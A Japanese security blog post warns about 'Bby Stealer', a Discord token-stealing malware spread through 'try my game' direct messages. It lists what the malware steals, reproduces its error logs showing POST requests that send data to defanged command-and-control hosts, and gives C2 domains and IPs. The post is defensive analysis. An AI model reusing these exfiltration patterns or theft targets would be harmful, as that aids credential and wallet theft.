Discordトークン乗っ取り原因ウイルス「Bby Stealer」感染でハッキング!?

Discordトークン乗っ取り原因ウイルス「Bby Stealer」感染でハッキング!?

Node.js製マルウェア「Bby Stealer」ウイルス感染でDiscord認証トークン盗まれてアカウント乗っ取りハッキング被害。ダイレクトメッセージDMで自作ゲームのテストプレイ依頼から攻撃開始。

Windows 標準のセキュリティソフト Microsoft Defender を含む、主要なセキュリティソフトから検出をうなく回避されてしまう厄介で危険な脅威の紹介です。

Discrod 乗っ取りで暗躍するマルウェア「Bby Stealer」

2022年1月に初めて報告された脅威で、Discord クライアントで本人の認証を行う Token を端末から窃取する不正なプログラム（Discord Token Stealer）の 1 つがコレ！

「Bby Stealer」
「BbyStealer」
（読み方ベビー・スティーラー？）

この「Bby Stealer」は買い切りの販売価格 35 ドルで提供されているようです。

I and @JustIraj found the people behind it, it's a paid service sold for 35$ per lifetime license, also it seems to have a lot of sales, the vouchers are A LOT bruh, we are reporting everything we have
https://twitter.com/xkem0x/status/1480688507353980934

この不正なプログラムが Discord アカウントの乗っ取りで使われるサイバー攻撃として暗躍しています。

JavaScript の実行環境 Node.js の悪用
Node.js 製アプリを実行ファイル .exe に変換する正規のユーティリティ Nexe の悪用
JavaScript で組まれたスクリプトを高度に難読化
表面的なセキュリティソフトのファイルスキャンでは白黒の判別が不可能
（脅威を検出できないセキュリティソフトが多発する）

The Recent "Try my game" Discord Scam: Explained
https://www.reddit.com/r/discordapp/comments/s1f1vs/the_recent_try_my_game_discord_scam_explained/

このコンピュータウイルスは「Bby Stealer」と呼ばれていて、Discord の情報を可能な限り取得し、Discord クライアントに感染して実行を継続するよう設計された RAT （遠隔操作を行うマルウェア）です。
この計略はユーザーに対してコンピュータウイルスを起動させることであり、Webhook 機能がEメール、パスワード、支払い方法、IP アドレス、バッジを含むユーザーに関連した情報のすべてを外部に送信します。これが RAT を成功へと導く鍵になっており、詐欺師は被害者の知り合いをターゲットにすることができます。

DM で「ゲームをテストプレイしてみない？」依頼から攻撃

詐欺師は Discord の ダイレクトメッセージ（DM） を介してターゲットとなるユーザーにスッと近づきます。

そして、もっともらしく「開発中の自作ゲームでプログラム」「まもなく公開予定のインディーゲームのインストーラー」を装った実行ファイル（拡張子 .exe）をダウンロードして Windows パソコン上で起動するよう詐欺師は言葉巧みに誘導します。

その手口から海外では「Try My Game Scam」（直訳すると「自作ゲームの試遊詐欺」）と呼ばれていて、巧妙な詐欺に騙されないよう注意喚起されているのでした。

「Bby Stealer」ウイルス感染
マルウェアのファイル形式 Windows 実行ファイル（拡張子 .exe）スクリーンセーバー（拡張子 .scr）
マルウェアの動作環境 Windows 7/8/10/11 64ビット（32 ビット環境の Windows では動作しない）
マルウェアの攻撃手口例開発中のゲームのテストプレイ依頼ゲームに登場するキャラクターのイラスト制作依頼

Discord クライアントの認証情報を盗む
（Eメールアドレス、本人確認するための認証トークン）
Google Chrome の認証情報を盗む
Microsoft Edge の認証情報を盗む
（ユーザー名×パスワード、フォームの自動入力、Cookie）
Mozilla Firefox の認証情報を盗む
（Cookie）
デスクトップウォレットの情報を盗む
Armory、Atomic Wallet、Bytecoin、Coinomi、Electrum、Ethereum、Guarda、Jaxx、Zcash
クリップボードにコピーされた文字列を監視して仮想通貨のアドレス値をコッソリ書き換える
「スタートアップ」フォルダーに自分自身の実行ファイルを配置して常駐する

【Bby Stealer エラーログ】
Error: connect EACCES 104.21.96.154 : 443
    at Function.AxiosError.from (C:\snapshot\7DYXXzEg4\node_modules\axios\dist\node\axios.cjs:785:14)
    at RedirectableRequest.handleRequestError (C:\snapshot\7DYXXzEg4\node_modules\axios\dist\node\axios.cjs:2725:25)
    at RedirectableRequest.emit (node:events:365:28)
    at ClientRequest.<anonymous> (C:\snapshot\7DYXXzEg4\node_modules\follow-redirects\index.js:14:24)
    at ClientRequest.emit (node:events:365:28)
    at TLSSocket.socketErrorListener (node:_http_client:447:9)
    at TLSSocket.emit (node:events:365:28)
    at emitErrorNT (node:internal/streams/destroy:193:8)
    at emitErrorCloseNT (node:internal/streams/destroy:158:3)
    at processTicksAndRejections (node:internal/process/task_queues:83:21)
AxiosError: connect EACCES 104.21.96.154 : 443
    at Function.AxiosError.from (C:\snapshot\7DYXXzEg4\node_modules\axios\dist\node\axios.cjs:785:14)
    at RedirectableRequest.handleRequestError (C:\snapshot\7DYXXzEg4\node_modules\axios\dist\node\axios.cjs:2725:25)
    at RedirectableRequest.emit (node:events:365:28)
    at ClientRequest.<anonymous> (C:\snapshot\7DYXXzEg4\node_modules\follow-redirects\index.js:14:24)
    at ClientRequest.emit (node:events:365:28)
    at TLSSocket.socketErrorListener (node:_http_client:447:9)
    at TLSSocket.emit (node:events:365:28)
    at emitErrorNT (node:internal/streams/destroy:193:8)
    at emitErrorCloseNT (node:internal/streams/destroy:158:3)
    at processTicksAndRejections (node:internal/process/task_queues:83:21) {
  port: 443,
  address: '104.21.96.154',
  syscall: 'connect',
  code: 'EACCES',
  errno: -4092,
  config: {
    transitional: {
      silentJSONParsing: true,
      forcedJSONParsing: true,
      clarifyTimeoutError: false
    },
    adapter: [ 'xhr', 'http' ],
    transformRequest: [ [Function: transformRequest] ],
    transformResponse: [ [Function: transformResponse] ],
    timeout: 0,
    xsrfCookieName: 'XSRF-TOKEN',
    xsrfHeaderName: 'X-XSRF-TOKEN',
    maxContentLength: -1,
    maxBodyLength: -1,
    env: { FormData: [Function], Blob: null },
    validateStatus: [Function: validateStatus],
    headers: AxiosHeaders {
      Accept: 'application/json, text/plain, */*',
      'Content-Type': 'text/plain',
      'User-Agent': 'potatochipscandy1337',
      'Content-Length': '760',
      'Accept-Encoding': 'gzip, deflate, br'
    },
    method: 'post',
    url: 'https:// kqnfkpoccicxiudstqonfotuwsrhuxkwhqjjfsbjhonoubrccy[.]nl/ errors',
    data: 'Error: connect EACCES 104.21.96.154 : 443\n' +
      '    at Function.AxiosError.from (C:\\snapshot\\7DYXXzEg4\\node_modules\\axios\\dist\\node\\axios.cjs:785:14)\n' +
      '    at RedirectableRequest.handleRequestError (C:\\snapshot\\7DYXXzEg4\\node_modules\\axios\\dist\\node\\axios.cjs:2725:25)\n' +
      '    at RedirectableRequest.emit (node:events:365:28)\n' +
      '    at ClientRequest.<anonymous> (C:\\snapshot\\7DYXXzEg4\\node_modules\\follow-redirects\\index.js:14:24)\n' +
      '    at ClientRequest.emit (node:events:365:28)\n' +
      '    at TLSSocket.socketErrorListener (node:_http_client:447:9)\n' +
      '    at TLSSocket.emit (node:events:365:28)\n' +
      '    at emitErrorNT (node:internal/streams/destroy:193:8)\n' +
      '    at emitErrorCloseNT (node:internal/streams/destroy:158:3)\n' +
      '    at processTicksAndRejections (node:internal/process/task_queues:83:21)'
  },
  request: <ref  *1> Writable {
    _writableState: WritableState {
      objectMode: false,
      highWaterMark: 16384,
      finalCalled: false,
      needDrain: false,
      ending: false,
      ended: false,
      finished: false,
      destroyed: false,
      decodeStrings: true,
      defaultEncoding: 'utf8',
      length: 0,
      writing: false,
      corked: 0,
      sync: true,
      bufferProcessing: false,
      onwrite: [Function: bound onwrite],
      writecb: null,
      writelen: 0,
      afterWriteTickInfo: null,
      buffered: [],
      bufferedIndex: 0,
      allBuffers: true,
      allNoop: true,
      pendingcb: 0,
      constructed: true,
      prefinished: false,
      errorEmitted: false,
      emitClose: true,
      autoDestroy: true,
      errored: null,
      closed: false,
      closeEmitted: false,
      [Symbol(kOnFinished)]: []
    },
    _events: [Object: null prototype] {
      response: [Function: handleResponse],
      error: [Function: handleRequestError],
      socket: [Function: handleRequestSocket]
    },
    _eventsCount: 3,
    _maxListeners: undefined,
    _options: {
      maxRedirects: 21,
      maxBodyLength: Infinity,
      protocol: 'https:',
      path: '/errors',
      method: 'POST',
      headers: [Object: null prototype],
      agents: [Object],
      auth: undefined,
      beforeRedirect: [Function: dispatchBeforeRedirect],
      beforeRedirects: [Object],
      hostname: 'kqnfkpoccicxiudstqonfotuwsrhuxkwhqjjfsbjhonoubrccy[.]nl',
      port: '',
      agent: undefined,
      nativeProtocols: [Object],
      pathname: '/errors'
    },
    _ended: false,
    _ending: true,
    _redirectCount: 0,
    _redirects: [],
    _requestBodyLength: 760,
    _requestBodyBuffers: [ [Object] ],
    _onNativeResponse: [Function (anonymous)],
    _currentRequest: ClientRequest {
      _events: [Object: null prototype],
      _eventsCount: 7,
      _maxListeners: undefined,
      outputData: [],
      outputSize: 0,
      writable: true,
      destroyed: false,
      _last: true,
      chunkedEncoding: false,
      shouldKeepAlive: false,
      _defaultKeepAlive: true,
      useChunkedEncodingByDefault: true,
      sendDate: false,
      _removedConnection: false,
      _removedContLen: false,
      _removedTE: false,
      _contentLength: null,
      _hasBody: true,
      _trailer: '',
      finished: false,
      _headerSent: true,
      _closed: false,
      socket: [TLSSocket],
      _header: 'POST /errors HTTP/1.1\r\n' +
        'Accept: application/json, text/plain, */*\r\n' +
        'Content-Type: text/plain\r\n' +
        'User-Agent: potatochipscandy1337\r\n' +
        'Content-Length: 760\r\n' +
        'Accept-Encoding: gzip, deflate, br\r\n' +
        'Host: kqnfkpoccicxiudstqonfotuwsrhuxkwhqjjfsbjhonoubrccy[.]nl\r\n' +
        'Connection: close\r\n' +
        '\r\n',
      _keepAliveTimeout: 0,
      _onPendingData: [Function: nop],
      agent: [Agent],
      socketPath: undefined,
      method: 'POST',
      maxHeaderSize: undefined,
      insecureHTTPParser: undefined,
      path: '/errors',
      _ended: false,
      res: null,
      aborted: false,
      timeoutCb: null,
      upgradeOrConnect: false,
      parser: null,
      maxHeadersCount: null,
      reusedSocket: false,
      host: 'kqnfkpoccicxiudstqonfotuwsrhuxkwhqjjfsbjhonoubrccy[.]nl',
      protocol: 'https:',
      _redirectable: [Circular *1],
      [Symbol(kCapture)]: false,
      [Symbol(kNeedDrain)]: false,
      [Symbol(corked)]: 0,
      [Symbol(kOutHeaders)]: [Object: null prototype]
    },
    _currentUrl: 'https:// kqnfkpoccicxiudstqonfotuwsrhuxkwhqjjfsbjhonoubrccy[.]nl/ errors',
    [Symbol(kCapture)]: false
  },
  cause: Error: connect EACCES 104.21.96.154 : 443
      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1133:16) {
    errno: -4092,
    code: 'EACCES',
    syscall: 'connect',
    address: '104.21.96.154',
    port: 443
  }
}


AxiosError: connect EACCES 104.21.70.37 : 443
    at Function.AxiosError.from (C:\snapshot\ZzvVrEj2J\node_modules\axios\dist\node\axios.cjs:725:14)
    at RedirectableRequest.handleRequestError (C:\snapshot\ZzvVrEj2J\node_modules\axios\dist\node\axios.cjs:2467:25)
    at RedirectableRequest.emit (node:events:526:28)
    at ClientRequest.<anonymous> (C:\snapshot\ZzvVrEj2J\node_modules\follow-redirects\index.js:14:24)
    at ClientRequest.emit (node:events:526:28)
    at TLSSocket.socketErrorListener (node:_http_client:442:9)
    at TLSSocket.emit (node:events:526:28)
    at emitErrorNT (node:internal/streams/destroy:157:8)
    at emitErrorCloseNT (node:internal/streams/destroy:122:3)
    at processTicksAndRejections (node:internal/process/task_queues:83:21) {
  port: 443,
  address: '104.21.70.37',
  syscall: 'connect',
  code: 'EACCES',
  errno: -4092,
  config: {
    transitional: {
      silentJSONParsing: true,
      forcedJSONParsing: true,
      clarifyTimeoutError: false
    },
    adapter: [Function: httpAdapter],
    transformRequest: [ [Function: transformRequest] ],
    transformResponse: [ [Function: transformResponse] ],
    timeout: 0,
    xsrfCookieName: 'XSRF-TOKEN',
    xsrfHeaderName: 'X-XSRF-TOKEN',
    maxContentLength: -1,
    maxBodyLength: -1,
    env: { FormData: [Function], Blob: null },
    validateStatus: [Function: validateStatus],
    headers: AxiosHeaders {
      'Content-Type': 'application/json',
      'User-Agent': 'potatochipscandy1337',
      'Content-Length': '2',
      'Accept-Encoding': 'gzip, deflate, br',
      [Symbol(defaults)]: [Object]
    },
    method: 'post',
    url: 'https:// mdvksublbpczqluqvvbytfprxdwakuke[.]nl/ 82anPZNsyIRg/ tokens',
    data: '[]'
  },
  request: <ref  *1> Writable {
    _writableState: WritableState {
      objectMode: false,
      highWaterMark: 16384,
      finalCalled: false,
      needDrain: false,
      ending: false,
      ended: false,
      finished: false,
      destroyed: false,
      decodeStrings: true,
      defaultEncoding: 'utf8',
      length: 0,
      writing: false,
      corked: 0,
      sync: true,
      bufferProcessing: false,
      onwrite: [Function: bound onwrite],
      writecb: null,
      writelen: 0,
      afterWriteTickInfo: null,
      buffered: [],
      bufferedIndex: 0,
      allBuffers: true,
      allNoop: true,
      pendingcb: 0,
      constructed: true,
      prefinished: false,
      errorEmitted: false,
      emitClose: true,
      autoDestroy: true,
      errored: null,
      closed: false,
      closeEmitted: false,
      [Symbol(kOnFinished)]: []
    },
    _events: [Object: null prototype] {
      response: [Function: handleResponse],
      error: [Function: handleRequestError],
      socket: [Function: handleRequestSocket]
    },
    _eventsCount: 3,
    _maxListeners: undefined,
    _options: {
      maxRedirects: 21,
      maxBodyLength: Infinity,
      protocol: 'https:',
      path: '/82anPZNsyIRg/tokens',
      method: 'POST',
      headers: [Object: null prototype],
      agents: [Object],
      auth: undefined,
      beforeRedirect: [Function: dispatchBeforeRedirect],
      beforeRedirects: [Object],
      hostname: 'mdvksublbpczqluqvvbytfprxdwakuke[.]nl',
      port: '',
      agent: undefined,
      nativeProtocols: [Object],
      pathname: '/82anPZNsyIRg/tokens'
    },
    _ended: false,
    _ending: true,
    _redirectCount: 0,
    _redirects: [],
    _requestBodyLength: 2,
    _requestBodyBuffers: [ [Object] ],
    _onNativeResponse: [Function (anonymous)],
    _currentRequest: ClientRequest {
      _events: [Object: null prototype],
      _eventsCount: 7,
      _maxListeners: undefined,
      outputData: [],
      outputSize: 0,
      writable: true,
      destroyed: false,
      _last: true,
      chunkedEncoding: false,
      shouldKeepAlive: false,
      maxRequestsOnConnectionReached: false,
      _defaultKeepAlive: true,
      useChunkedEncodingByDefault: true,
      sendDate: false,
      _removedConnection: false,
      _removedContLen: false,
      _removedTE: false,
      _contentLength: null,
      _hasBody: true,
      _trailer: '',
      finished: false,
      _headerSent: true,
      _closed: false,
      socket: [TLSSocket],
      _header: 'POST /82anPZNsyIRg/tokens HTTP/1.1\r\n' +
        'Accept: application/json, text/plain, */*\r\n' +
        'Content-Type: application/json\r\n' +
        'User-Agent: potatochipscandy1337\r\n' +
        'Content-Length: 2\r\n' +
        'Accept-Encoding: gzip, deflate, br\r\n' +
        'Host: mdvksublbpczqluqvvbytfprxdwakuke[.]nl\r\n' +
        'Connection: close\r\n' +
        '\r\n',
      _keepAliveTimeout: 0,
      _onPendingData: [Function: nop],
      agent: [Agent],
      socketPath: undefined,
      method: 'POST',
      maxHeaderSize: undefined,
      insecureHTTPParser: undefined,
      path: '/82anPZNsyIRg/tokens',
      _ended: false,
      res: null,
      aborted: false,
      timeoutCb: null,
      upgradeOrConnect: false,
      parser: null,
      maxHeadersCount: null,
      reusedSocket: false,
      host: 'mdvksublbpczqluqvvbytfprxdwakuke[.]nl',
      protocol: 'https:',
      _redirectable: [Circular *1],
      [Symbol(kCapture)]: false,
      [Symbol(kNeedDrain)]: false,
      [Symbol(corked)]: 0,
      [Symbol(kOutHeaders)]: [Object: null prototype]
    },
    _currentUrl: 'https:// mdvksublbpczqluqvvbytfprxdwakuke[.]nl/ 82anPZNsyIRg/tokens',
    [Symbol(kCapture)]: false
  },
  cause: Error: connect EACCES 104.21.70.37 : 443
      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1157:16) {
    errno: -4092,
    code: 'EACCES',
    syscall: 'connect',
    address: '104.21.70.37',
    port: 443
  }
}


【C＆Cサーバー】
bbynetwork[.]nl
104.21.60.146
172.67.197.199
Registrant: Stichting OpenTLD WHOIS Proxy
Registrar: Freenom OpenTLD B.V. (Keizersgracht 213, 1016DT Amsterdam, Netherlands)

Discrod 乗っ取りで暗躍するマルウェア 「Bby Stealer」

DM で 「ゲームをテストプレイしてみない？」 依頼から攻撃

関連するブログ記事

「Windows」 カテゴリの記事

Discrod 乗っ取りで暗躍するマルウェア「Bby Stealer」

DM で「ゲームをテストプレイしてみない？」依頼から攻撃

「Windows」カテゴリの記事